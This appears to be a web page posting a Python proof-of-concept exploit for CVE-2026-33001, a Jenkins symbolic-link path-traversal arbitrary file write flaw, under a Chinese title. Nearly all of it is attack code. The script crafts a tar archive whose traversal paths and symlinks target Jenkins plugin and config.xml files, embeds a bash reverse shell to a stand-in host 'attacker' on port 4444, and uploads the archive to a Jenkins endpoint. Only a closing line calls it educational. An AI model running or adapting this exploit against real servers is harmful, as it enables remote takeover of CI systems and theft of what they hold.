CVE-2026-33001 Jenkins符号链接路径遍历任意文件写入漏洞

#!/usr/bin/env python3 # CVE-2026-33001 PoC - Jenkins Symbolic Link Arbitrary File Write # This PoC demonstrates creating a malicious tar archive with symbolic links import tarfile import os import io def create_malicious_tar(): """ Create a malicious tar archive containing symbolic links that can write files to arbitrary locations on Jenkins server """ # Create the malicious tar archive in memory tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w', format=tarfile.PAX_FORMAT) as tar: # Create a regular file that will be written via symlink malicious_content = b'#!/bin/bash\n# Malicious script injected via CVE-2026-33001\n# This could contain reverse shell or other malicious code\n/bin/bash -i >& /dev/tcp/attacker/4444 0>&1\n' info = tarfile.TarInfo(name='../../../../../../var/jenkins_home/userContent/malicious.sh') info.size = len(malicious_content) tar.addfile(info, io.BytesIO(malicious_content)) # Create symlink entry pointing to Jenkins plugin directory # This allows overwriting existing plugin files link_info = tarfile.TarInfo(name='plugin.txt') link_info.type = tarfile.SYMTYPE link_info.linkname = '../../../../../../var/jenkins_home/plugins/evilPlugin.jpi' tar.addfile(link_info) # Alternative: Symlink to overwrite config files config_link = tarfile.TarInfo(name='config.xml') config_link.type = tarfile.SYMTYPE config_link.linkname = '../../../../../../var/jenkins_home/config.xml' tar.addfile(config_link) return tar_buffer.getvalue() def exploit_jenkins(target_url, tar_data): """ Upload and extract malicious tar archive on Jenkins Requires Item/Configure permission or agent process control """ import requests # Upload the malicious archive upload_url = f"{target_url}/descriptorByName/hudson.tasks.Maven/installSource/upload" files = { 'upload': ('malicious.tar.gz', tar_data, 'application/x-gzip') } # Send the malicious archive response = requests.post(upload_url, files=files) return response.status_code == 200 if __name__ == '__main__': print("CVE-2026-33001 PoC - Jenkins Symbolic Link Attack") print("Target: Jenkins <= 2.554 or LTS <= 2.541.2") print("\nCreating malicious tar archive...") malicious_tar = create_malicious_tar() print(f"Generated tar archive: {len(malicious_tar)} bytes") # Save for manual testing with open('malicious_archive.tar.gz', 'wb') as f: f.write(malicious_tar) print("Archive saved as 'malicious_archive.tar.gz'") print("\nNote: This PoC is for educational and security research purposes only.")